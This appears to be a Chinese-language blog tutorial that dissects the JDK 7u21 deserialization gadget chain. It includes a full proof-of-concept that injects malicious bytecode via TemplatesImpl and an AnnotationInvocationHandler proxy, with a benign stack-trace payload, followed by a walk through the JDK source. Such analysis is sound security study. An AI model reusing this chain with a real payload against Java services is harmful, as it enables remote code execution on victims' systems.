• JDK7u21反序列化详解


    前言

    听说jdk7u21的反序列化涉及的知识量很多,很难啃,具体来看看咋回事

    环境

    jdk7u21

    IDEA 2021.1.2

    javassist

    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.21.0-GA</version>
    </dependency>
    

    使用的代码如下,复现时推荐手写一遍

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import java.io.*;
    import java.lang.reflect.*;
    import java.util.*;
    import java.lang.reflect.Proxy;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javax.xml.transform.Templates;
    
    public class Main{
        public static void main(String[] args) throws Exception {
            // 生成恶意类的字节码
            ClassPool pool = ClassPool.getDefault();
            CtClass payload = pool.makeClass("EvilClass");
            payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
            payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
            byte[] evilClass = payload.toBytecode();
    
            // 创建templates对象,并反射修改其中的属性
            TemplatesImpl templates = new TemplatesImpl();
            Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            bytecodes.set(templates, new byte[][]{evilClass});  // 注意这里是byte二维数组
            // 反射修改值
            Field name = templates.getClass().getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates, "test");
            // 反射修改值
            Field tfactory = templates.getClass().getDeclaredField("_tfactory");
            tfactory.setAccessible(true);
            tfactory.set(templates, new TransformerFactoryImpl());
    
            // 修改值
            Field auxClasses = templates.getClass().getDeclaredField("_auxClasses");
            auxClasses.setAccessible(true);
            auxClasses.set(templates, null);
    
            Field aClass = templates.getClass().getDeclaredField("_class");
            aClass.setAccessible(true);
            aClass.set(templates, null);
            
            // key为固定值,后面会解释
            String key = "f5a5a608";
            HashMap map = new HashMap();
            map.put(key, "xxx");
    
            // 获取构造器,并使用动态代理,创建proxy对象
            Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
            declaredConstructor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Templates.class, map);// AnnotationInvocationHandler.memberValues -> hashMap  type->Templates.Class
            
            Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), templates.getClass().getInterfaces(), invocationHandler);
    
            LinkedHashSet linkedHashSet = new LinkedHashSet(); // 序列化对象
            linkedHashSet.add(templates);
            linkedHashSet.add(proxy);
            map.put(key, templates);  // 修改key对应的value,避免本地触发payload
    
            // 模拟序列化和反向序列化
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            outputStream.writeObject(linkedHashSet);
            outputStream.close();
    
            ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
            inputStream.readObject();
    	}
    }
    

    倒序分析

    执行上面的java代码,由于给定执行的代码为new java.io.IOException().printStackTrace();,所以会报错显示如下信息:

    at EvilClass.<clinit>(EvilClass.java)
    ...
    at java.lang.reflect.Constructor.newInstance(Constructor.java:525)
    at java.lang.Class.newInstance0(Class.java:374)
    at java.lang.Class.newInstance(Class.java:327)
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:380)
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:410)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:601)
    at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
    at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
    at com.sun.proxy.$Proxy0.equals(Unknown Source)
    at java.util.HashMap.put(HashMap.java:475)
    at java.util.HashSet.readObject(HashSet.java:309)
    ...
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
    at com.bitterz.stream.CommonCollectionsLearn.main(CommonCollectionsLearn.java:130)
    

    这里省略的部分都是反射或者native方法,不是调用链的关键信息。从上往下倒退可以看出,EvilClass在使用构造方法时触发恶意代码,构造方法是从TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->Class.newInstance()触发的,那我们先看看TemplatesImpl这个类的调用过程

    TemplatesImpl

    • TemplatesImpl#getTransletInstance
    private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
    
            if (_class == null) defineTransletClasses();
    
            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }
    
            return translet;
        }
        catch (){}
    }
    

    看到前面两个filed顿感熟悉呀,我们的代码里面正好把Templates对象的_name_class设置"test"和null了,所以会执行TemplatesImpl#defineTransletClasses方法,跟进一下这个方法

    • TemplatesImpl#defineTransletClasses
    private void defineTransletClasses() throws TransformerConfigurationException {
        if (_bytecodes == null) {//throw exception;}
    
        TransletClassLoader loader = (TransletClassLoader) ..; // 获取类加载器
    
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
    
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
    
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
    
                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
    
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (){}
    }
    

    继续省略了报错、catch等不关键代码。这里有两个关键点:

    • 由于_bytecodes被我们为new byte[][]{evilClass},也就是存放了恶意字节码,所以进入try代码块中,这里最关键的代码是_class[i] = loader.defineClass(_bytecodes[i]);,也就是遍历_bytecodes数组中的所有字节码,然后用defineClass方法将其加载到jvm中,并返回一个类对象到_class数组中。
    • if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;},由于我们使用动态代理创建类时,调用的是无参构造方法,所以ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",另外我们给进去的恶意类的父类也被设置为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,所以superClass.getName().equals(ABSTRACT_TRANSLET)为true,执行代码_transletIndex = i;,此时i=0。

    defineTransletClasses方法执行完后,返回到TemplatesImpl#getTransletInstance的中,执行 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();这里由于_class中只有一个恶意类对象,而且_transletIndex刚好为0,所以触发恶意类的构造方法。

    TemplatesImpl类中调用链也就分析完了,那么来看看newTransformer方法为何会被调用

    AnnotationInvocationHandler

    这一段的调用链是

    at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
    at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
    at com.sun.proxy.$Proxy0.equals(Unknown Source)
    java.util.HashMap.put(HashMap.java:475)
    

    先来看看调用链是如何从HashMap.putAnnotationInvocationHandler.invoke的,HashMap#put方法如下

    public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }
    
        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }
    

    调用链中com.sun.proxy.$Proxy0.equals实际上指的是动态代理创建的对象调用了其equals方法,所以我们可以定位到key.equals(k),而在衣服语句的第二条中执行了k=e.key,而e=table[i],这里实际上涉及到LinkedHashSet的键值存储方式问题,这里先直接给结论,k就是恶意类对象templates,后面再分析为什么。

    由于动态代理创建的类调用了其equals方法,根据动态代理的特性,会调用到代理类AnnotationInvocationHandler#invoke方法,那么来具体看看这个方法

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else {
            assert var5.length == 0;
    
            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }
    
                    return var6;
                }
            }
        }
    }
    

    在实际的调用中,传入的参数:var1=proxy, var2=equals, var3=templates恶意类对象,equals方法需要的参数类型为Object,因此第一个if条件为true,进入AnnotationInvocationHandler#equalsImpl方法,跟进一下这个方法

    private Boolean equalsImpl(Object var1) {
        if (var1 == this) {
            return true;
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;
    
            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);
                    } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }
    
                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }
    
            return true;
        }
    }
    

    此时,传入的参数var1=templates恶意对象,这个方法中最重要的代码块是for循环,但是要先看看for循环前面的两行代码,跟进一下AnnotationInvocationHandler#getMemberMethods方法

    private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                    AccessibleObject.setAccessible(var1, true);
                    return var1;
                }
            });
        }
    
        return this.memberMethods;
    }
    
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }  // 我们的代码中反射调用的构造方法
    

    这里需要回看一下我们的代码反射创建AnnotationInvocationHandler对象的部分以及AnnotationInvocationHandler的构造方法,因为我们传入的两个参数是Templates.class和HashMap对象,所以AnnotationInvocationHandler#getMemberMethods获取的就是Templates的所有方法对象。然后我们回到AnnotationInvocationHandler#equalsImpl方法的for循环部分,这里有两个关键点:

    • var9,调用AnnotationInvocationHandler#isOneOfUs(Object),代码比较简单,就不跟进了,返回值为null
    • var5.invoke(var1),由于var9为null,所以for循环也就意味着遍历调用Templates所有方法,而且调用对象是传入的var1,也就是我们构造的恶意对象templates

    templates的各种参数被精心设计过,所以会从newTransformer调用到恶意类的构造方法,从而触发其中的恶意代码。到这里,我们梳理通了AnnotationInvocationHandler中的调用链,但有个问题没有解决,那就是前面提到的HashMap#put方法那一个关键的if语句

    if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

    HashMap

    现在来看看HashMap#put前面的调用链

    at java.util.HashMap.put(HashMap.java:475)
    at java.util.HashSet.readObject(HashSet.java:309)
    ...
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
    

    省略ObjectInputStream#readObject之后的不重要的调用栈,由于ObjectInputStream#readObject反序列化时,会自动调用被反序列化类的readObject方法,也就是LinkedHashSet,我们的代码中序列化的类,而LinkedHashSet没有实现readObject方法,而是继承自HashSet,所以调用了HashSet#readObject跟进一下该方法

    • HashSet#readObject
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();
    
        // Read in HashMap capacity and load factor and create backing HashMap
        int capacity = s.readInt();
        float loadFactor = s.readFloat();
        map = (((HashSet)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));
    
        // Read in size
        int size = s.readInt();
    
        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }
    
    • HashSet#add
    Object PRESENT = new Object();
    public boolean add(E e) {
    	return map.put(e, PRESENT)==null;
    }
    

    从readObject的for循环处和add方法可见,HashSet管理输入的键值的方法是,将输入对象作为HashMap的key,以保证其唯一性,可以add重复的值,打印HashSet#size检验。

    继续说HashSet#readObject方法,先创建一个map后,用s.readInt()获取序列化时hashSet的size,然后进入for循环,依次读取序列化时HashSet中的每个对象,并作为map的key,这时就会调用到HashMap#put方法

    • HashMap#put
    public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }
    
        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }
    

    由于真正触发恶意代码的是HashMap.put(proxy)时触发,此时templates已经反序列化好了,所以我们从这个基础角度去看代码,key=proxy,value=object

    调用hash(key)获取hash值,跟进一下这个方法

    • HashMap#hash
    final int hash(Object k) {
        int h = 0;
        if (useAltHashing) {
            if (k instanceof String) {
                return sun.misc.Hashing.stringHash32((String) k);
            }
            h = hashSeed;
        }
    
        h ^= k.hashCode();
    
        // This function ensures that hashCodes that differ only by
        // constant multiples at each bit position have a bounded
        // number of collisions (approximately 8 at default load factor).
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }
    

    此时k=proxy,if判断为空,所以h=0,执行到k.hashCode(),由于k=proxy,所以会调用AnnotationInvocationHandler.invoke方法

    这里就不重复粘贴代码了,通过一些列if判断后,会进入AnnotationInvocationHandler#hashCodeImpl方法,跟进一下该方法

    • AnnotationInvocationHandler#hashCodeImpl
    private int hashCodeImpl() {
        int var1 = 0;
    
        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }
    
        return var1;
    }
    

    此时需要注意的是,this.memberValues是我们的代码中创建AnnotationInvocationHandler对象时给进去的HashMap,这个HashMap只有一个键值对("f5a5a608"->templates),在这个基础下,继续分析这里的代码,for循环先得到var3=("f5a5a608"->templates),然后执行var1+=......

    计算第一部分((String)var3.getKey()).hashCode(),var3.getKey()="f5a5a608"

    很巧的是,"f5a5a608".hashCode()恰好为0,找出这个调用链的大神也太猛了- _ -!,继续看memberValueHashCode(var3.getValue()),var3.getValue()=templates,然后跟进一下AnnotationInvocationHandler#memberValueHashCode(templates)

    • AnnotationInvocationHandler#memberValueHashCode
    private static int memberValueHashCode(Object var0) {
        Class var1 = var0.getClass();
        if (!var1.isArray()) {
            return var0.hashCode();
        } else if (var1 == byte[].class) {
            return Arrays.hashCode((byte[])((byte[])var0));
        } else if (var1 == char[].class) {
            return Arrays.hashCode((char[])((char[])var0));
        } else if (var1 == double[].class) {
            return Arrays.hashCode((double[])((double[])var0));
        } else if (var1 == float[].class) {
            return Arrays.hashCode((float[])((float[])var0));
        } else if (var1 == int[].class) {
            return Arrays.hashCode((int[])((int[])var0));
        } else if (var1 == long[].class) {
            return Arrays.hashCode((long[])((long[])var0));
        } else if (var1 == short[].class) {
            return Arrays.hashCode((short[])((short[])var0));
        } else {
            return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
        }
    }
    

    此时的输入var0=templates,直接进入第一个if语句代码块,返回templates.hashCode(),假定其为X,然后返回到AnnotationInvocationHandler#hashCodeImpl,var1就变成了 0 + 127 * 0 ^ X,(^表示异或,0^某数字=某数字)根据java的运算符顺序127 * 0 = 0,再0 ^ X = X,所以var1 = X,然后从AnnotationInvocationHandler#hashCodeImpl返回到HashMap#hash,其中的变量h经过后面部分的处理后假定其值为Y,然后代码继续向下运行

    • HashMap#put
    public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }
    
        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }
    

    此时变量hash=Y,key=proxy,value=object。执行i=indexFor(hash, table.length),由于前面只反序列化了一个对象也就是templates,所以i=0,进入for循环检查输入的key是否已经存在了。首先e = <templates, object>,而e.hash是多少呢?

    这时我们需要将put方法的输入带入key=templates, value=object来思考,hash=HashMap.hash(templates),在HashMap#hash方法中调用templates.hashCode()获得值X!!,然后继续后面的处理,这不就直接获得一个值Y吗?!,hash=Y,然后往下执行,进入addEntry()方法,

    void addEntry(int hash, K key, V value, int bucketIndex) {
            if ((size >= threshold) && (null != table[bucketIndex])) {
                resize(2 * table.length);
                hash = (null != key) ? hash(key) : 0;
                bucketIndex = indexFor(hash, table.length);
            }
    
            createEntry(hash, key, value, bucketIndex);  // 进入这里 hash=Y
        }
    
    void createEntry(int hash, K key, V value, int bucketIndex) {
            Entry<K,V> e = table[bucketIndex];
            table[bucketIndex] = new Entry<>(hash, key, value, e);  // 新建一个Entry,跟进其构造方法 hash=Y
            size++;
        }
    
    Entry(int h, K k, V v, Entry<K,V> n) {  // 构造方法
                value = v;
                next = n;
                key = k;
                hash = h;  // hash=h=Y
            }
    

    看了这个调用链就可以知道,e = Entry<templates, object> 这个对象的e.hash就等于Y!,回到HashMap#put方法

    此时if条件一步一步满足,这里其实涉及到java中if语句的短路特性,在&&判断时,如果第一个条件为false,则直接判定为false,所以e.hash==hash必须为true才会执行到key.equals(k),不得不佩服这个利用链的构造者,java功底太深了。

    同时到这里也就很容易理解,为什么我们的代码要在linkeHashSet.add之后才对AnnotationInvocationHandler.menberValues中的键值对进行修改为<"f5a5a6018", templates>,因为提前就写好的话,在linkeHashSet.add(proxy)的时候就会本地触发恶意代码

    总结

    到这里整个调用链的分析就完成了

    • 首先是LinkedHashSet.readObject实际调用HashSet.readObject,任何将templates反序列化出来,这里又涉及到HashMap来管理HashSet的对象,以及HashMap将key->value对用内部类Entry来管理,并且这个Entry.hash=HashMap.hash(key)。
    • 而后,在HashSet.readObject中反序列化proxy对象,该对象是动态代理创建的,所以其实先会把AnnotationInvocationHandler反序列化出来,并且其中的memberValues=HashMap<"f5a5a6018"->templates>只有这一个键值对。而后进入HashMap.put方法中,在HashMap.hash(proxy)时,触发代理类的invoke方法,进入AnnotationInvocationHandler#hashCodeImpl方法,而此时又由于AnnotationInvocationHandler.memberValues中的key,也就是"f5a5a6018"的hash值恰好为0,导致AnnotationInvocationHandler#hashCodeImpl的返回值为templates对象的hash值,而后返回到HashMap.hash(proxy)时,其返回值与HashMap.hash(templates)相同,也就导致HashMap.put方法中判断key是否重复时,绕过短路特性,执行到后面的key.equals(k),也就是proxy.equals(templates)方法
    • 此后由于动态代理的特性,进入AnnotationInvocationHandler.invoke方法,再进入equalsImpl方法,并在其中调用templates的所有方法,从而触发到TemplatesImpl的恶意调用链,将恶意字节码通过defineClass加载到jvm中,并调用其构造方法,从而触发恶意代码,实现RCE。

    这里还有一个小点需要补充,网上说TemplatesImpl调用链都是getOutputProperties开始的

    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:380)
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:410)
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:431)
    ...
    at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
    at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
    at com.sun.proxy.$Proxy0.equals(Unknown Source)
    

    但实际上,注释掉_tfactory和_auxClasses反射修改值的代码才会从getOutputProperties触发,如果不注释,则直接从newTransformer触发,并且这两个field对调用链不产生影响。


    作者:bitterz
    本文版权归作者和博客园所有,欢迎转载,转载请标明出处。
    如果您觉得本篇博文对您有所收获,请点击右下角的 [推荐],谢谢!
  • 相关阅读:
    Nodejs下载和第一个Nodejs示例
    永久关闭Win10工具栏的TaskbarSearch控件
    对称加密,非对称加密,散列算法,签名算法
    【转】TTL和RS232之间的详细对比
    zlg核心板linux系统中查看系统内存等使用信息
    Power BI后台自动刷新数据报错 The operation was throttled by Power BI Premium because there were too many datasets being processed concurrently.
    剪切板和上传文件内容获取
    CSS, LESS, SCSS, SASS总结
    文字程序
    electron 打包“ERR_ELECTRON_BUILDER_CANNOT_EXECUTE”
  • 原文地址:https://www.cnblogs.com/bitterz/p/15263152.html
Copyright © 2020-2023  润新知